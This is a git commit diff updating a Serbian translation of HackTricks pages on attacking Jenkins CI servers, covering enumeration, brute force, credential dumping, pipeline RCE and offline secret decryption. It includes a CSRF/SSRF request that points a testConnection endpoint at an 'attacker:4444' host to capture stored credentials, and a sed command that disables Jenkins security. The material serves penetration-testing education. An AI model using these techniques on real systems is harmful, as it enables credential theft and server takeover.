Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/

This commit is contained in:
Translator
2026-01-17 16:56:53 +00:00
parent 6aa7b519c3
commit 90a6cb57a9
2 changed files with 153 additions and 125 deletions
+102 -86
View File
@@ -1,28 +1,28 @@
# Jenkins Security
# Sigurnost Jenkins-a
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
Jenkins je alat koji nudi jednostavan način za uspostavljanje **kontinuirane integracije** ili **kontinuirane isporuke** (CI/CD) okruženja za gotovo **bilo koju** kombinaciju **programskih jezika** i repozitorijuma izvornog koda koristeći pipeline-ove. Pored toga, automatizuje razne rutinske razvojne zadatke. Iako Jenkins ne eliminiše **potrebu za kreiranjem skripti za pojedinačne korake**, pruža brži i robusniji način za integraciju celokupnog niza alata za izgradnju, testiranje i implementaciju nego što se može lako konstruisati ručno.
Jenkins je alat koji pruža jednostavan način za uspostavljanje **continuous integration** or **continuous delivery** (CI/CD) okruženja za gotovo **bilo koju** kombinaciju **programskih jezika** i source code repositories koristeći pipelines. Pored toga, automatizuje različite rutinske razvojne zadatke. Iako Jenkins ne uklanja **potrebu za kreiranjem skripti za pojedinačne korake**, on ipak pruža brži i robusniji način da se integriše čitav niz alata za build, test i deployment nego što se to lako može konstruisati ručno.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Neautentifikovana enumeracija
## Enumeracija bez autentifikacije
Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (_/people_ ili _/asynchPeople_, ovo prikazuje trenutne korisnike) možete koristiti:
Da biste pretražili interesantne Jenkins stranice bez autentifikacije, kao što su (_/people_ or _/asynchPeople_, ovo prikazuje trenutne korisnike), možete koristiti:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Proverite da li možete izvršavati komande bez potrebe za autentifikacijom:
Proverite možete li izvršavati komande bez autentifikacije:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Bez kredencijala možete pogledati unutar _**/asynchPeople/**_ putanje ili _**/securityRealm/user/admin/search/index?q=**_ za **korisnička imena**.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_.
Možete dobiti Jenkins verziju sa putanje _**/oops**_ ili _**/error**_
![](<../../images/image (146).png>)
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
## Prijava
U osnovnim informacijama možete proveriti **sve načine za prijavu unutar Jenkins-a**:
U osnovnim informacijama možete proveriti **sve načine za prijavu u Jenkins**:
{{#ref}}
basic-jenkins-information.md
@@ -42,38 +42,38 @@ basic-jenkins-information.md
### Registracija
Moći ćete da pronađete Jenkins instance koje **dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.**
Moći ćete pronaći Jenkins instance koje **allow you to create an account and login inside of it. As simple as that.**
### **SSO Prijava**
### **SSO Login**
Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (npr., test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Takođe, ako su prisutne **SSO** **functionality**/**plugins**, trebalo bi da pokušate da se **prijavite** u aplikaciju koristeći test nalog (tj. testni **Github/Bitbucket account**). Trik iz [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** nema **politiku lozinki** i **mitigaciju brute-force napada na korisnička imena**. Bitno je **brute-force** korisnike jer se mogu koristiti **slabe lozinke** ili **korisnička imena kao lozinke**, čak i **obrnuta korisnička imena kao lozinke**.
**Jenkins** nema **password policy** i **username brute-force mitigation**. Neophodno je da izvršite **brute-force** nad korisnicima jer se mogu koristiti **weak passwords** ili **usernames as passwords**, pa čak i **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Koristite [ovaj python skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ili [ovaj powershell skript](https://github.com/chryzsh/JenkinsPasswordSpray).
Koristite [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Mnoge organizacije kombinuju **SaaS-based source control management (SCM) systems** kao što su GitHub ili GitLab sa **internim, samostalno hostovanim CI** rešenjem poput Jenkins-a ili TeamCity-a. Ova postavka omogućava CI sistemima da **prijemaju webhook događaje od SaaS provajdera za kontrolu izvora**, prvenstveno za pokretanje pipeline poslova.
Mnoga preduzeća kombinuju **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. Ova konfiguracija omogućava CI systems da **receive webhook events from SaaS source control vendors**, prvenstveno za pokretanje pipeline jobs.
Da bi to postigle, organizacije **stavljaju na belu listu** **IP opsege** **SCM platformi**, omogućavajući im pristup **internom CI sistemu** putem **webhook-a**. Međutim, važno je napomenuti da **bilo ko** može da kreira **nalog** na GitHub-u ili GitLab-u i konfiguriše ga da **pokrene webhook**, potencijalno šaljući zahteve **internom CI sistemu**.
Da bi se to postiglo, organizacije **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. Međutim, važno je napomenuti da **anyone** može kreirati **an account** na GitHub ili GitLab i konfigurisati ga da **trigger a webhook**, potencijalno šaljući zahteve ka **internal CI system**.
Proverite: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Pogledajte: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins-u.
U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins.
> [!WARNING]
> U zavisnosti od **Authorization** mehanizma konfiguranog u Jenkins-u i dozvole kompromitovanog korisnika, **možda ćete moći ili ne moći da izvršite sledeće napade.**
> U zavisnosti od mehanizma **Authorization** konfigurisanog u Jenkins i dozvola kompromitovanog korisnika, možda ćete moći ili ne da izvršite sledeće napade.
Za više informacija proverite osnovne informacije:
Za više informacija pogledajte osnovne informacije:
{{#ref}}
basic-jenkins-information.md
@@ -81,85 +81,101 @@ basic-jenkins-information.md
### Listing users
Ako ste pristupili Jenkins-u, možete da navedete druge registrovane korisnike na [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Ako imate pristup Jenkins, možete izlistati ostale registrovane korisnike na [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Koristite [ovaj skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) da izbacite izlaze konzole gradnje i promenljive okruženja gradnje kako biste se nadali da ćete pronaći tajne u čistom tekstu.
Koristite [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Krađa SSH kredencijala**
### FormValidation/TestConnection endpointi (CSRF to SSRF/krađa credentials)
Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa:
Neki plugin-i izlažu Jelly `validateButton` ili `test connection` handlere na putanjama kao što su `/descriptorByName/<Class>/testConnection`. Kada handleri **ne zahtevaju POST ili provere dozvola**, možete:
- Zameniti POST sa GET i ukloniti Crumb da biste zaobišli CSRF provere.
- Pokrenuti handler kao low-priv/anonymous ako ne postoji provera `Jenkins.ADMINISTER`.
- Izvesti CSRF nad adminom i zameniti host/URL parametar da biste eksfiltrirali credentials ili pokrenuli outbound pozive.
- Iskoristiti greške u odgovoru (npr. `ConnectException`) kao SSRF/port-scan oracle.
Primer GET (bez Crumb) koji pretvara poziv za validaciju u SSRF/eksfiltraciju credentials:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
Ako plugin ponovo koristi stored creds, Jenkins će pokušati da se autentifikuje na `attacker:4444` i može leak identifikatore ili greške u odgovoru. Vidi: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Krađa SSH Credentials**
Ako kompromitovani korisnik ima **dovoljne privilegije da kreira/izmeni novi Jenkins node** i SSH credentials su već sačuvani za pristup drugim node-ovima, on bi mogao **ukrasti te credentials** kreiranjem/izmenom node-a i **podešavanjem hosta koji će snimiti credentials** bez verifikacije host ključa:
![](<../../images/image (218).png>)
Obično ćete pronaći Jenkins ssh kredencijale u **globalnom provajderu** (`/credentials/`), tako da ih možete i dumpovati kao što biste dumpovali bilo koju drugu tajnu. Više informacija u [**odeljku o dumpovanju tajni**](./#dumping-secrets).
Obično ćete naći Jenkins ssh credentials u **global provider** (`/credentials/`), tako da ih možete i dump-ovati kao i bilo koji drugi secret. Više informacija u [**Dumping secrets section**](#dumping-secrets).
### **RCE u Jenkins-u**
### **RCE in Jenkins**
Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da otkrije sve **tajne** i **env varijable** i da **iskoristi druge mašine** locirane u istoj mreži ili čak **prikupi cloud kredencijale**.
Dobijanje shell-a na Jenkins serveru daje napadaču mogućnost da leak sve secrets i env variables i da iskoristi druge mašine u istoj mreži ili čak prikupi cloud credentials.
Podrazumevano, Jenkins će **raditi kao SYSTEM**. Tako da, kompromitovanje će napadaču dati **SYSTEM privilegije**.
Po default-u, Jenkins će **pokretati kao SYSTEM**. Dakle, kompromitovanje će napadaču dati **SYSTEM privilegije**.
### **RCE Kreiranje/Modifikovanje projekta**
### **RCE Creating/Modifying a project**
Kreiranje/Modifikovanje projekta je način da se dobije RCE nad Jenkins serverom:
Kreiranje/izmena projekta je način da se dobije RCE nad Jenkins serverom:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Izvršavanje Groovy skripte**
### **RCE Execute Groovy script**
Takođe možete dobiti RCE izvršavanjem Groovy skripte, koja može biti manje uočljiva od kreiranja novog projekta:
Takođe možete dobiti RCE izvršavanjem Groovy skripte, što može biti diskretnije od kreiranja novog projekta:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Kreiranje/Modifikovanje Pipeline-a
### RCE Creating/Modifying Pipeline
Takođe možete dobiti **RCE kreiranjem/modifikovanjem pipeline-a**:
Takođe možete dobiti **RCE kreiranjem/izmenom pipeline-a**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Eksploatacija Pipeline-a
## Pipeline Exploitation
Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u.
Da biste eksploatisali pipelines i dalje morate imati pristup Jenkins-u.
### Build Pipeline-i
### Build Pipelines
**Pipeline-i** se takođe mogu koristiti kao **mehanizam za izgradnju u projektima**, u tom slučaju može se konfigurisati **fajl unutar repozitorijuma** koji će sadržati sintaksu pipeline-a. Podrazumevano se koristi `/Jenkinsfile`:
**Pipelines** takođe mogu biti korišćeni kao **build mehanizam u projektima**, u tom slučaju može biti konfigurisana **datoteka unutar repozitorijuma** koja će sadržati pipeline sintaksu. Po default-u se koristi `/Jenkinsfile`:
![](<../../images/image (127).png>)
Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na drugim repozitorijumima, na primer) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u.
Takođe je moguće **čuvati pipeline konfiguracione fajlove na drugim mestima** (na primer u drugim repositorijumima) sa ciljem **odvajanja** pristupa repozitorijumu i pristupa pipeline-u.
Ako napadač ima **pravo pisanja nad tim fajlom**, moći će da **modifikuje** i **potencijalno pokrene** pipeline bez čak i pristupa Jenkins-u.\
Moguće je da će napadač morati da **obiđe neke zaštite grana** (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne).
Ako napadač ima **write access nad tim fajlom** biće u mogućnosti da ga **izmeni** i **potencijalno trigger-uje** pipeline bez čak i pristupa Jenkins-u.\
Moguće je da će napadač morati da **zaobiđe neke branch protections** (u zavisnosti od platforme i privilegija korisnika oni mogu biti zaobiđeni ili ne).
Najčešći okidači za izvršavanje prilagođenog pipeline-a su:
Najčešći trigger-i za izvršavanje custom pipeline-a su:
- **Pull request** na glavnu granu (ili potencijalno na druge grane)
- **Push na glavnu granu** (ili potencijalno na druge grane)
- **Ažuriranje glavne grane** i čekanje da se na neki način izvrši
- **Pull request** na main branch (ili potencijalno na druge grane)
- **Push na main branch** (ili potencijalno na druge grane)
- **Ažuriranje main brancha** i čekanje da se nekako izvrši
> [!NOTE]
> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfigurisano**, mogli biste potpuno **kompromitovati kompanije samo iskorišćavajući ovo**.
> Ako ste **eksterni korisnik** ne bi trebalo da očekujete da možete da napravite **PR na main branch** repozitorijuma drugog korisnika/organizacije i **trigger-ujete pipeline**... ali ako je **loše konfigurisano** mogli biste potpuno **kompromitovati kompanije samo iskorišćavanjem ovoga**.
### Pipeline RCE
U prethodnom RCE odeljku već je naznačena tehnika za [**dobijanje RCE modifikovanjem pipeline-a**](./#rce-creating-modifying-pipeline).
U prethodnom RCE odeljku je već naznačena tehnika da se [**dobije RCE modifikujući pipeline**](#rce-creating-modifying-pipeline).
### Proveravanje Env varijabli
### Checking Env variables
Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:**
Moguće je deklarisati **plain text env variables** za ceo pipeline ili za specifične stage-ove. Ove env variables **ne bi trebalo da sadrže osetljive informacije**, ali napadač uvek može da proveri sve pipeline konfiguracije/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
@@ -174,21 +190,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
### Izdvajanje secrets
Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije:
Za informacije o tome kako Jenkins obično tretira secrets pogledajte osnovne informacije:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) ili na **specifične projekte** (`/job/<project-name>/configure`). Stoga, da biste eksfiltrirali sve njih, morate **kompromitovati barem sve projekte** koji sadrže tajne i izvršiti prilagođene/otrovane pipeline-ove.
Kredencijali mogu biti **scoped to global providers** (`/credentials/`) ili **specifični za projekte** (`/job/<project-name>/configure`). Stoga, da biste exfiltrirali sve njih morate kompromitovati bar sve projekte koji sadrže secrets i pokrenuti custom/poisoned pipelines.
Postoji još jedan problem, da biste dobili **tajnu unutar env** pipeline-a, morate **znati ime i tip tajne**. Na primer, ako pokušate da **učitate** **`usernamePassword`** **tajnu** kao **`string`** **tajnu**, dobićete ovu **grešku**:
Postoji još jedan problem: da biste dobili **secret inside the env** pipeline-a, morate **znati ime i tip secreta**. Na primer, ako pokušate da **load** `usernamePassword` **secret** kao `string` **secret**, dobićete ovu **grešku**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Evo kako da učitate neke uobičajene tipove tajni:
Evo načina da učitate neke uobičajene secret types:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -216,46 +232,46 @@ env
'''
}
```
Na kraju ove stranice možete **pronaći sve tipove kredencijala**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
Na kraju ove stranice možete pronaći sve tipove kredencijala: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **glavne ključeve** i **kriptovane tajne** i dekriptujete ih offline.\
> Više o tome kako to uraditi u [odeljku Čvorovi i Agenti](./#nodes-and-agents) i u [odeljku Post Eksploatacija](./#post-exploitation).
> Najbolji način da **dump all the secrets at once** je **compromising** **Jenkins** mašine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
### Okidači
### Triggers
Iz [dokumentacije](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatske načine na koje bi Pipeline trebao biti ponovo aktiviran**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su `cron`, `pollSCM` i `upstream`.
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatizovane načine na koje Pipeline treba da bude ponovo pokrenut**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda nisu neophodni jer webhooks-based integration verovatno već postoji. Trenutno dostupni triggers su `cron`, `pollSCM` i `upstream`.
Primer cron:
Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
Proverite **druge primere u dokumentaciji**.
Pogledajte **ostale primere u dokumentaciji**.
### Čvorovi i Agenti
### Čvorovi & Agenti
**Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Sa perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** koje se mogu ukrasti ili **različit pristup mreži** koji se može zloupotrebiti za eksploataciju drugih mašina.
Jedna **Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Iz perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** za krađu ili **različit mrežni pristup** koji se može zloupotrebiti da bi se eksploatisale druge mašine.
Za više informacija proverite osnovne informacije:
Za više informacija pogledajte osnovne informacije:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Možete enumerisati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći **`Built-In Node`** (koji je čvor koji pokreće Jenkins) i potencijalno više:
Možete nabrojati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći \*\*`Built-In Node` \*\* (koji je čvor na kojem Jenkins radi) i potencijalno još:
![](<../../images/image (249).png>)
**Posebno je zanimljivo kompromitovati Built-In čvor** jer sadrži osetljive Jenkins informacije.
Posebno je interesantno kompromitovati **Built-In node** jer sadrži osetljive Jenkins informacije.
Da biste naznačili da želite da **pokrenete** **pipeline** u **ugrađenom Jenkins čvoru**, možete uneti sledeću konfiguraciju unutar pipeline-a:
Da naznačite da želite **pokrenuti** **pipeline** u **built-in Jenkins node-u**, možete unutar pipeline-a navesti sledeću konfiguraciju:
```bash
pipeline {
agent {label 'built-in'}
```
### Potpuni primer
### Kompletan primer
Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku:
Pipeline u određenom agentu, sa cron trigger-om, sa pipeline and stage env variables, učitava 2 variables u step-u i šalje reverse shell:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +302,7 @@ cleanWs()
}
}
```
## Pročitajte proizvoljnu datoteku do RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,17 +322,17 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Eksploatacija
## Post Exploitation
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Tajne
### Jenkins Secrets
Možete nabrojati tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**.
Možete izlistati secrets pristupom `/credentials/` ako imate dovoljno permisija. Imajte na umu da će ovo izlistati samo secrets unutar `credentials.xml` fajla, ali **build configuration files** mogu takođe imati **više credentials**.
Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**.
Ako možete **videti konfiguraciju svakog projekta**, možete tamo takođe videti **names of the credentials (secrets)** koja se koriste za pristup repozitorijumu i **other credentials of the project**.
![](<../../images/image (180).png>)
@@ -326,20 +342,20 @@ Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **i
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### Iz diska
#### Sa diska
Ove datoteke su potrebne za **dešifrovanje Jenkins tajni**:
Ovi fajlovi su potrebni za **dešifrovanje Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Takve **tajne se obično mogu naći u**:
Takve **secrets se obično nalaze u**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Evo regex-a da ih pronađete:
Evo regex-a za njihovo pronalaženje:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -349,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decrypt Jenkins secrets offline
#### Dešifrujte Jenkins secrets offline
Ako ste izvezli **potrebne lozinke za dešifrovanje tajni**, koristite [**ovaj skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **da dešifrujete te tajne**.
Ako ste izvukli **potrebne lozinke za dešifrovanje secrets**, koristite [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **za dešifrovanje tih secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,18 +375,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Dešifrovanje Jenkins tajni iz Groovy-a
#### Decrypt Jenkins secrets iz Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Kreirajte novog admin korisnika
### Kreiranje novog admin korisnika
1. Pristupite Jenkins config.xml datoteci u `/var/lib/jenkins/config.xml` ili `C:\Program Files (x86)\Jenkis\`
2. Potražite reč `<useSecurity>true</useSecurity>` i promenite reč **`true`** u **`false`**.
1. Pristupite Jenkins config.xml fajlu u `/var/lib/jenkins/config.xml` ili `C:\Program Files (x86)\Jenkis\`
2. Potražite `<useSecurity>true</useSecurity>` i promenite reč **`true`** u **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restartujte** **Jenkins** server: `service jenkins restart`
4. Sada ponovo idite na Jenkins portal i **Jenkins neće tražiti nikakve kredencijale** ovaj put. Navigirajte do "**Manage Jenkins**" da ponovo postavite **administratorsku lozinku**.
5. **Ponovo omogućite** **bezbednost** promenom postavki na `<useSecurity>true</useSecurity>` i **ponovo restartujte Jenkins**.
3. Ponovo pokrenite **Jenkins** server: `service jenkins restart`
4. Sada ponovo otvorite Jenkins portal i **Jenkins ovaj put neće tražiti podatke za prijavu**. Idite na "Manage Jenkins" da ponovo podesite **administratorsku lozinku**.
5. Ponovo omogućite bezbednost menjajući podešavanje na `<useSecurity>true</useSecurity>` i **ponovo restartujte Jenkins**.
## Reference
@@ -1,86 +1,97 @@
# Osnovne informacije o Jenkinsu
# Osnovne informacije o Jenkins-u
{{#include ../../banners/hacktricks-training.md}}
## Pristup
### Korisničko ime + Lozinka
### Korisničko ime + lozinka
Najčešći način prijavljivanja u Jenkins je putem korisničkog imena ili lozinke.
Najčešći način prijave u Jenkins je pomoću korisničkog imena i lozinke.
### Kolačić
### Cookie
Ako se **autorizovani kolačić ukrade**, može se koristiti za pristup sesiji korisnika. Kolačić se obično naziva `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali prvo mora da sazna da je kolačić ukraden).
Ako se **ovlašćeni cookie ukrade**, može se iskoristiti za pristup sesiji korisnika. Cookie se obično zove `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali bi prvo morao da sazna da je cookie ukraden).
### SSO/Pluginovi
### SSO/Plugins
Jenkins se može konfigurisati pomoću pluginova da bude **dostupan putem treće strane SSO**.
Jenkins se može konfigurisati pomoću pluginova da bude **dostupan putem SSO treće strane**.
### Tokeni
**Korisnici mogu generisati tokene** kako bi omogućili pristup aplikacijama da ih imituju putem CLI ili REST API.
**Korisnici mogu generisati tokene** da bi aplikacijama dali pristup i omogućili im da se predstavljaju kao oni preko CLI ili REST API-ja.
### SSH Ključevi
### SSH Keys
Ova komponenta pruža ugrađeni SSH server za Jenkins. To je alternativno sučelje za [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a komande se mogu pozivati na ovaj način koristeći bilo koji SSH klijent. (Iz [dokumentacije](https://plugins.jenkins.io/sshd/))
Ova komponenta obezbeđuje ugrađeni SSH server za Jenkins. To je alternativni interfejs za [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), i komande se mogu pokretati na ovaj način koristeći bilo koji SSH klijent. (Iz [docs](https://plugins.jenkins.io/sshd/))
## Autorizacija
U `/configureSecurity` moguće je **konfigurisati metodu autorizacije Jenkins-a**. Postoji nekoliko opcija:
U `/configureSecurity` moguće je **konfigurisati metod autorizacije za Jenkins**. Postoji nekoliko opcija:
- **Svako može raditi šta hoće**: Čak i anonimni pristup može administrirati server.
- **Legacy mode**: Isto kao Jenkins <1.164. Ako imate **"admin" ulogu**, dobićete **potpunu kontrolu** nad sistemom, a **inače** (uključujući **anonimne** korisnike) imaćete **pristup za čitanje**.
- **Prijavljeni korisnici mogu raditi šta hoće**: U ovom režimu, svaki **prijavljeni korisnik dobija potpunu kontrolu** nad Jenkins-om. Jedini korisnik koji neće imati potpunu kontrolu je **anonimni korisnik**, koji dobija samo **pristup za čitanje**.
- **Matrix-based security**: Možete konfigurisati **ko može raditi šta** u tabeli. Svaki **stubac** predstavlja **dozvolu**. Svaki **red** **predstavlja** **korisnika ili grupu/ulogu.** Ovo uključuje posebnog korisnika '**anonimno**', koji predstavlja **neautentifikovane korisnike**, kao i '**autentifikovane**', koji predstavljaju **sve autentifikovane korisnike**.
- **Anyone can do anything**: Čak i anonimni pristup može administrisati server
- **Legacy mode**: Isto kao u Jenkins <1.164. Ako imate **"admin" role**, dobićete **punu kontrolu** nad sistemom, a **u suprotnom** (uključujući **'anonymous'** korisnike) imaćete **pristup samo za čitanje**.
- **Logged-in users can do anything**: U ovom režimu, svaki **ulogovani korisnik dobija punu kontrolu** nad Jenkins-om. Jedini korisnik koji neće imati punu kontrolu je **anonymous user**, koji dobija samo **read access**.
- **Matrix-based security**: Možete konfigurisati **ko šta može da radi** u tabeli. Svaka **kolona** predstavlja **permisiju**. Svaki **red** **predstavlja** **korisnika ili grupu/rolu.** Ovo uključuje specijalnog korisnika '**anonymous**', koji predstavlja **neautentifikovane korisnike**, kao i '**authenticated**', koji predstavlja **sve autentifikovane korisnike**.
![](<../../images/image (149).png>)
- **Strategija autorizacije zasnovana na projektima:** Ovaj režim je **proširenje** na "**Matrix-based security**" koje omogućava dodatnu ACL matricu da bude **definisana za svaki projekat posebno.**
- **Strategija zasnovana na rolama:** Omogućava definisanje autorizacija koristeći **strategiju zasnovanu na rolama**. Upravljajte rolama u `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** Ovaj režim je **proširenje** za "**Matrix-based security**" koje omogućava dodatne ACL matrice da budu **definisane za svaki projekat posebno.**
- **Role-Based Strategy:** Omogućava definisanje autorizacija koristeći **role-based strategy**. Upravljajte rolama u `/role-strategy`.
## **Sigurnosno carstvo**
## **Security Realm**
U `/configureSecurity` moguće je **konfigurisati sigurnosno carstvo.** Po defaultu, Jenkins uključuje podršku za nekoliko različitih sigurnosnih carstava:
U `/configureSecurity` moguće je **konfigurisati security realm.** Po podrazumevanoj vrednosti Jenkins uključuje podršku za nekoliko različitih Security Realms:
- **Delegirati servlet kontejneru**: Za **delegiranje autentifikacije servlet kontejneru koji pokreće Jenkins kontroler**, kao što je [Jetty](https://www.eclipse.org/jetty/).
